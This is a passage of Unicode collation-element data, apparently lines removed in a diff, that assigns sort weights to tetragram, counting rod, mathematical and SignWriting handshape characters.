-1D33E ; [*0F04.0020.0002] # TETRAGRAM FOR GUARDEDNESS
-1D33F ; [*0F05.0020.0002] # TETRAGRAM FOR GATHERING IN
-1D340 ; [*0F06.0020.0002] # TETRAGRAM FOR MASSING
-1D341 ; [*0F07.0020.0002] # TETRAGRAM FOR ACCUMULATION
-1D342 ; [*0F08.0020.0002] # TETRAGRAM FOR EMBELLISHMENT
-1D343 ; [*0F09.0020.0002] # TETRAGRAM FOR DOUBT
-1D344 ; [*0F0A.0020.0002] # TETRAGRAM FOR WATCH
-1D345 ; [*0F0B.0020.0002] # TETRAGRAM FOR SINKING
-1D346 ; [*0F0C.0020.0002] # TETRAGRAM FOR INNER
-1D347 ; [*0F0D.0020.0002] # TETRAGRAM FOR DEPARTURE
-1D348 ; [*0F0E.0020.0002] # TETRAGRAM FOR DARKENING
-1D349 ; [*0F0F.0020.0002] # TETRAGRAM FOR DIMMING
-1D34A ; [*0F10.0020.0002] # TETRAGRAM FOR EXHAUSTION
-1D34B ; [*0F11.0020.0002] # TETRAGRAM FOR SEVERANCE
-1D34C ; [*0F12.0020.0002] # TETRAGRAM FOR STOPPAGE
-1D34D ; [*0F13.0020.0002] # TETRAGRAM FOR HARDNESS
-1D34E ; [*0F14.0020.0002] # TETRAGRAM FOR COMPLETION
-1D34F ; [*0F15.0020.0002] # TETRAGRAM FOR CLOSURE
-1D350 ; [*0F16.0020.0002] # TETRAGRAM FOR FAILURE
-1D351 ; [*0F17.0020.0002] # TETRAGRAM FOR AGGRAVATION
-1D352 ; [*0F18.0020.0002] # TETRAGRAM FOR COMPLIANCE
-1D353 ; [*0F19.0020.0002] # TETRAGRAM FOR ON THE VERGE
-1D354 ; [*0F1A.0020.0002] # TETRAGRAM FOR DIFFICULTIES
-1D355 ; [*0F1B.0020.0002] # TETRAGRAM FOR LABOURING
-1D356 ; [*0F1C.0020.0002] # TETRAGRAM FOR FOSTERING
-1D369 ; [*1B6B.0020.0002] # COUNTING ROD TENS DIGIT ONE
-1D36A ; [*1B6C.0020.0002] # COUNTING ROD TENS DIGIT TWO
-1D36B ; [*1B6D.0020.0002] # COUNTING ROD TENS DIGIT THREE
-1D36C ; [*1B6E.0020.0002] # COUNTING ROD TENS DIGIT FOUR
-1D36D ; [*1B6F.0020.0002] # COUNTING ROD TENS DIGIT FIVE
-1D36E ; [*1B70.0020.0002] # COUNTING ROD TENS DIGIT SIX
-1D36F ; [*1B71.0020.0002] # COUNTING ROD TENS DIGIT SEVEN
-1D370 ; [*1B72.0020.0002] # COUNTING ROD TENS DIGIT EIGHT
-1D371 ; [*1B73.0020.0002] # COUNTING ROD TENS DIGIT NINE
-1D6C1 ; [*05EC.0020.0005] # MATHEMATICAL BOLD NABLA
-1D6DB ; [*05E8.0020.0005] # MATHEMATICAL BOLD PARTIAL DIFFERENTIAL
-1D6FB ; [*05EC.0020.0005] # MATHEMATICAL ITALIC NABLA
-1D715 ; [*05E8.0020.0005] # MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL
-1D735 ; [*05EC.0020.0005] # MATHEMATICAL BOLD ITALIC NABLA
-1D74F ; [*05E8.0020.0005] # MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL
-1D76F ; [*05EC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD NABLA
-1D789 ; [*05E8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL
-1D7A9 ; [*05EC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA
-1D7C3 ; [*05E8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL
-1D800 ; [*17CF.0020.0002] # SIGNWRITING HAND-FIST INDEX
-1D801 ; [*17D0.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX
-1D802 ; [*17D1.0020.0002] # SIGNWRITING HAND-CUP INDEX
-1D803 ; [*17D2.0020.0002] # SIGNWRITING HAND-OVAL INDEX
-1D804 ; [*17D3.0020.0002] # SIGNWRITING HAND-HINGE INDEX
-1D805 ; [*17D4.0020.0002] # SIGNWRITING HAND-ANGLE INDEX
-1D806 ; [*17D5.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT
-1D807 ; [*17D6.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX BENT
-1D808 ; [*17D7.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER INDEX BENT
-1D809 ; [*17D8.0020.0002] # SIGNWRITING HAND-FIST INDEX RAISED KNUCKLE
-1D80A ; [*17D9.0020.0002] # SIGNWRITING HAND-FIST INDEX CUPPED
-1D80B ; [*17DA.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED
-1D80C ; [*17DB.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED LOW
-1D80D ; [*17DC.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX HINGE
-1D80E ; [*17DD.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE
-1D80F ; [*17DE.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE
-1D810 ; [*17DF.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT
-1D811 ; [*17E0.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RAISED KNUCKLES
-1D812 ; [*17E1.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED
-1D813 ; [*17E2.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED
-1D814 ; [*17E3.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP
-1D815 ; [*17E4.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED
-1D816 ; [*17E5.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED INDEX BENT
-1D817 ; [*17E6.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED MIDDLE BENT
-1D818 ; [*17E7.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED
-1D819 ; [*17E8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED
-1D81A ; [*17E9.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED
-1D81B ; [*17EA.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSSED
-1D81C ; [*17EB.0020.0002] # SIGNWRITING HAND-FIST MIDDLE BENT OVER INDEX
-1D81D ; [*17EC.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT OVER MIDDLE
-1D81E ; [*17ED.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB
-1D81F ; [*17EE.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE THUMB
-1D820 ; [*17EF.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE STRAIGHT THUMB BENT
-1D821 ; [*17F0.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT THUMB STRAIGHT
-1D822 ; [*17F1.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB BENT
-1D823 ; [*17F2.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED SPREAD THUMB SIDE
-1D824 ; [*17F3.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB SIDE
-1D825 ; [*17F4.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB CONJOINED
-1D826 ; [*17F5.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP THUMB SIDE
-1D827 ; [*17F6.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE UP SPREAD THUMB FORWARD
-1D828 ; [*17F7.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CUPPED
-1D829 ; [*17F8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CIRCLED
-1D82A ; [*17F9.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HOOKED
-1D82B ; [*17FA.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HINGED
-1D82C ; [*17FB.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE STRAIGHT
-1D82D ; [*17FC.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE
-1D82E ; [*17FD.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE CONJOINED
-1D82F ; [*17FE.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE BENT
-1D830 ; [*17FF.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB HOOKED INDEX UP
-1D831 ; [*1800.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE UP
-1D832 ; [*1801.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED THUMB SIDE
-1D833 ; [*1802.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED THUMB SIDE
-1D834 ; [*1803.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB FORWARD
-1D835 ; [*1804.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED THUMB FORWARD
-1D836 ; [*1805.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CUPPED INDEX UP
-1D837 ; [*1806.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CUPPED MIDDLE UP
-1D838 ; [*1807.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX UP
-1D839 ; [*1808.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX HINGED
-1D83A ; [*1809.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED OUT MIDDLE UP
-1D83B ; [*180A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED IN MIDDLE UP
-1D83C ; [*180B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLED MIDDLE UP
-1D83D ; [*180C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CONJOINED HINGED
-1D83E ; [*180D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED OUT
-1D83F ; [*180E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED
-1D840 ; [*180F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX UP
-1D841 ; [*1810.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX CROSSED
-1D842 ; [*1811.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED INDEX UP
-1D843 ; [*1812.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE HINGED
-1D844 ; [*1813.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS
-1D845 ; [*1814.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS BENT
-1D846 ; [*1815.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS HINGED
-1D847 ; [*1816.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED
-1D848 ; [*1817.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED SPLIT
-1D849 ; [*1818.0020.0002] # SIGNWRITING HAND-CLAW FOUR FINGERS CONJOINED
-1D84A ; [*1819.0020.0002] # SIGNWRITING HAND-FIST FOUR FINGERS CONJOINED BENT
-1D84B ; [*181A.0020.0002] # SIGNWRITING HAND-HINGE FOUR FINGERS CONJOINED
-1D84C ; [*181B.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD
-1D84D ; [*181C.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD
-1D84E ; [*181D.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD FOUR BENT
-1D84F ; [*181E.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD FOUR BENT
-1D850 ; [*181F.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD BENT
-1D851 ; [*1820.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD BENT
-1D852 ; [*1821.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD THUMB FORWARD
-1D853 ; [*1822.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD
-1D854 ; [*1823.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD OPEN
-1D855 ; [*1824.0020.0002] # SIGNWRITING HAND-HINGE FIVE FINGERS SPREAD OPEN
-1D856 ; [*1825.0020.0002] # SIGNWRITING HAND-OVAL FIVE FINGERS SPREAD
-1D857 ; [*1826.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED
-1D858 ; [*1827.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED THUMB SIDE
-1D859 ; [*1828.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED NO THUMB
-1D85A ; [*1829.0020.0002] # SIGNWRITING HAND-FLAT
-1D85B ; [*182A.0020.0002] # SIGNWRITING HAND-FLAT BETWEEN PALM FACINGS
-1D85C ; [*182B.0020.0002] # SIGNWRITING HAND-FLAT HEEL
-1D85D ; [*182C.0020.0002] # SIGNWRITING HAND-FLAT THUMB SIDE
-1D85E ; [*182D.0020.0002] # SIGNWRITING HAND-FLAT HEEL THUMB SIDE
-1D85F ; [*182E.0020.0002] # SIGNWRITING HAND-FLAT THUMB BENT
-1D860 ; [*182F.0020.0002] # SIGNWRITING HAND-FLAT THUMB FORWARD
-1D861 ; [*1830.0020.0002] # SIGNWRITING HAND-FLAT SPLIT INDEX THUMB SIDE
-1D862 ; [*1831.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE
-1D863 ; [*1832.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE
-1D864 ; [*1833.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE BENT
-1D865 ; [*1834.0020.0002] # SIGNWRITING HAND-FLAT SPLIT LITTLE
-1D866 ; [*1835.0020.0002] # SIGNWRITING HAND-CLAW
-1D867 ; [*1836.0020.0002] # SIGNWRITING HAND-CLAW THUMB SIDE
-1D868 ; [*1837.0020.0002] # SIGNWRITING HAND-CLAW NO THUMB
-1D869 ; [*1838.0020.0002] # SIGNWRITING HAND-CLAW THUMB FORWARD
-1D86A ; [*1839.0020.0002] # SIGNWRITING HAND-HOOK CURLICUE
-1D86B ; [*183A.0020.0002] # SIGNWRITING HAND-HOOK
-1D86C ; [*183B.0020.0002] # SIGNWRITING HAND-CUP OPEN
-1D86D ; [*183C.0020.0002] # SIGNWRITING HAND-CUP
-1D86E ; [*183D.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB SIDE
-1D86F ; [*183E.0020.0002] # SIGNWRITING HAND-CUP THUMB SIDE
-1D870 ; [*183F.0020.0002] # SIGNWRITING HAND-CUP OPEN NO THUMB
-1D871 ; [*1840.0020.0002] # SIGNWRITING HAND-CUP NO THUMB
-1D872 ; [*1841.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB FORWARD
-1D873 ; [*1842.0020.0002] # SIGNWRITING HAND-CUP THUMB FORWARD
-1D874 ; [*1843.0020.0002] # SIGNWRITING HAND-CURLICUE OPEN
-1D875 ; [*1844.0020.0002] # SIGNWRITING HAND-CURLICUE
-1D876 ; [*1845.0020.0002] # SIGNWRITING HAND-CIRCLE
-1D877 ; [*1846.0020.0002] # SIGNWRITING HAND-OVAL
-1D878 ; [*1847.0020.0002] # SIGNWRITING HAND-OVAL THUMB SIDE
-1D879 ; [*1848.0020.0002] # SIGNWRITING HAND-OVAL NO THUMB
-1D87A ; [*1849.0020.0002] # SIGNWRITING HAND-OVAL THUMB FORWARD
-1D87B ; [*184A.0020.0002] # SIGNWRITING HAND-HINGE OPEN
-1D87C ; [*184B.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB FORWARD
-1D87D ; [*184C.0020.0002] # SIGNWRITING HAND-HINGE
-1D87E ; [*184D.0020.0002] # SIGNWRITING HAND-HINGE SMALL
-1D87F ; [*184E.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB SIDE
-1D880 ; [*184F.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE
-1D881 ; [*1850.0020.0002] # SIGNWRITING HAND-HINGE OPEN NO THUMB
-1D882 ; [*1851.0020.0002] # SIGNWRITING HAND-HINGE NO THUMB
-1D883 ; [*1852.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE TOUCHING INDEX
-1D884 ; [*1853.0020.0002] # SIGNWRITING HAND-HINGE THUMB BETWEEN MIDDLE RING
-1D885 ; [*1854.0020.0002] # SIGNWRITING HAND-ANGLE
-1D886 ; [*1855.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING
-1D887 ; [*1856.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE RING
-1D888 ; [*1857.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING
-1D889 ; [*1858.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE RING
-1D88A ; [*1859.0020.0002] # SIGNWRITING HAND-HINGE LITTLE
-1D88B ; [*185A.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING BENT
-1D88C ; [*185B.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING CONJOINED
-1D88D ; [*185C.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING CONJOINED
-1D88E ; [*185D.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN
-1D88F ; [*185E.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE STRAIGHT
-1D890 ; [*185F.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE CURVED
-1D891 ; [*1860.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN OTHERS CIRCLED
-1D892 ; [*1861.0020.0002] # SIGNWRITING HAND-FIST LITTLE UP
-1D893 ; [*1862.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER LITTLE UP
-1D894 ; [*1863.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE UP
-1D895 ; [*1864.0020.0002] # SIGNWRITING HAND-OVAL LITTLE UP
-1D896 ; [*1865.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE UP
-1D897 ; [*1866.0020.0002] # SIGNWRITING HAND-FIST LITTLE RAISED KNUCKLE
-1D898 ; [*1867.0020.0002] # SIGNWRITING HAND-FIST LITTLE BENT
-1D899 ; [*1868.0020.0002] # SIGNWRITING HAND-FIST LITTLE TOUCHES THUMB
-1D89A ; [*1869.0020.0002] # SIGNWRITING HAND-FIST LITTLE THUMB
-1D89B ; [*186A.0020.0002] # SIGNWRITING HAND-HINGE LITTLE THUMB
-1D89C ; [*186B.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX THUMB
-1D89D ; [*186C.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX THUMB
-1D89E ; [*186D.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB OUT
-1D89F ; [*186E.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB
-1D8A0 ; [*186F.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX
-1D8A1 ; [*1870.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE INDEX
-1D8A2 ; [*1871.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX
-1D8A3 ; [*1872.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX
-1D8A4 ; [*1873.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE LITTLE
-1D8A5 ; [*1874.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE LITTLE
-1D8A6 ; [*1875.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE LITTLE
-1D8A7 ; [*1876.0020.0002] # SIGNWRITING HAND-HINGE RING
-1D8A8 ; [*1877.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE LITTLE
-1D8A9 ; [*1878.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSS LITTLE
-1D8AA ; [*1879.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSS LITTLE
-1D8AB ; [*187A.0020.0002] # SIGNWRITING HAND-FIST RING DOWN
-1D8AC ; [*187B.0020.0002] # SIGNWRITING HAND-HINGE RING DOWN INDEX THUMB HOOK MIDDLE
-1D8AD ; [*187C.0020.0002] # SIGNWRITING HAND-ANGLE RING DOWN MIDDLE THUMB INDEX CROSS
-1D8AE ; [*187D.0020.0002] # SIGNWRITING HAND-FIST RING UP
-1D8AF ; [*187E.0020.0002] # SIGNWRITING HAND-FIST RING RAISED KNUCKLE
-1D8B0 ; [*187F.0020.0002] # SIGNWRITING HAND-FIST RING LITTLE
-1D8B1 ; [*1880.0020.0002] # SIGNWRITING HAND-CIRCLE RING LITTLE
-1D8B2 ; [*1881.0020.0002] # SIGNWRITING HAND-OVAL RING LITTLE
-1D8B3 ; [*1882.0020.0002] # SIGNWRITING HAND-ANGLE RING LITTLE
-1D8B4 ; [*1883.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE
-1D8B5 ; [*1884.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE CONJOINED
-1D8B6 ; [*1885.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE RAISED KNUCKLES
-1D8B7 ; [*1886.0020.0002] # SIGNWRITING HAND-FIST RING INDEX
-1D8B8 ; [*1887.0020.0002] # SIGNWRITING HAND-FIST RING THUMB
-1D8B9 ; [*1888.0020.0002] # SIGNWRITING HAND-HOOK RING THUMB
-1D8BA ; [*1889.0020.0002] # SIGNWRITING HAND-FIST INDEX RING LITTLE
-1D8BB ; [*188A.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX RING LITTLE
-1D8BC ; [*188B.0020.0002] # SIGNWRITING HAND-CURLICUE INDEX RING LITTLE ON
-1D8BD ; [*188C.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE OUT
-1D8BE ; [*188D.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE IN
-1D8BF ; [*188E.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE UNDER
-1D8C0 ; [*188F.0020.0002] # SIGNWRITING HAND-CUP INDEX RING LITTLE
-1D8C1 ; [*1890.0020.0002] # SIGNWRITING HAND-HINGE INDEX RING LITTLE
-1D8C2 ; [*1891.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE OUT
-1D8C3 ; [*1892.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE
-1D8C4 ; [*1893.0020.0002] # SIGNWRITING HAND-FIST MIDDLE DOWN
-1D8C5 ; [*1894.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE
-1D8C6 ; [*1895.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP
-1D8C7 ; [*1896.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE UP
-1D8C8 ; [*1897.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RAISED KNUCKLE
-1D8C9 ; [*1898.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP THUMB SIDE
-1D8CA ; [*1899.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE THUMB
-1D8CB ; [*189A.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB LITTLE
-1D8CC ; [*189B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE LITTLE
-1D8CD ; [*189C.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RING LITTLE
-1D8CE ; [*189D.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE
-1D8CF ; [*189E.0020.0002] # SIGNWRITING HAND-CURLICUE MIDDLE RING LITTLE ON
-1D8D0 ; [*189F.0020.0002] # SIGNWRITING HAND-CUP MIDDLE RING LITTLE
-1D8D1 ; [*18A0.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE RING LITTLE
-1D8D2 ; [*18A1.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE OUT
-1D8D3 ; [*18A2.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE IN
-1D8D4 ; [*18A3.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE
-1D8D5 ; [*18A4.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE BENT
-1D8D6 ; [*18A5.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED
-1D8D7 ; [*18A6.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED SIDE
-1D8D8 ; [*18A7.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED OUT
-1D8D9 ; [*18A8.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED IN
-1D8DA ; [*18A9.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED
-1D8DB ; [*18AA.0020.0002] # SIGNWRITING HAND-HINGE INDEX HINGED
-1D8DC ; [*18AB.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE
-1D8DD ; [*18AC.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SIDE
-1D8DE ; [*18AD.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB DIAGONAL
-1D8DF ; [*18AE.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB CONJOINED
-1D8E0 ; [*18AF.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB BENT
-1D8E1 ; [*18B0.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX BENT
-1D8E2 ; [*18B1.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE BOTH BENT
-1D8E3 ; [*18B2.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX HINGE
-1D8E4 ; [*18B3.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX STRAIGHT
-1D8E5 ; [*18B4.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX BENT
-1D8E6 ; [*18B5.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOK
-1D8E7 ; [*18B6.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURLICUE
-1D8E8 ; [*18B7.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB INSIDE
-1D8E9 ; [*18B8.0020.0002] # SIGNWRITING HAND-CLAW INDEX THUMB CURVE THUMB INSIDE
-1D8EA ; [*18B9.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB UNDER
-1D8EB ; [*18BA.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLE
-1D8EC ; [*18BB.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB
-1D8ED ; [*18BC.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB OPEN
-1D8EE ; [*18BD.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB OPEN
-1D8EF ; [*18BE.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB LARGE
-1D8F0 ; [*18BF.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB
-1D8F1 ; [*18C0.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SMALL
-1D8F2 ; [*18C1.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB OUT
-1D8F3 ; [*18C2.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB IN
-1D8F4 ; [*18C3.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB
-1D8F5 ; [*18C4.0020.0002] # SIGNWRITING HAND-FIST THUMB
-1D8F6 ; [*18C5.0020.0002] # SIGNWRITING HAND-FIST THUMB HEEL
-1D8F7 ; [*18C6.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE DIAGONAL
-1D8F8 ; [*18C7.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE CONJOINED
-1D8F9 ; [*18C8.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE BENT
-1D8FA ; [*18C9.0020.0002] # SIGNWRITING HAND-FIST THUMB FORWARD
-1D8FB ; [*18CA.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE
-1D8FC ; [*18CB.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN MIDDLE RING
-1D8FD ; [*18CC.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN RING LITTLE
-1D8FE ; [*18CD.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER TWO FINGERS
-1D8FF ; [*18CE.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER TWO FINGERS
-1D900 ; [*18CF.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER THREE FINGERS
-1D901 ; [*18D0.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER FOUR FINGERS
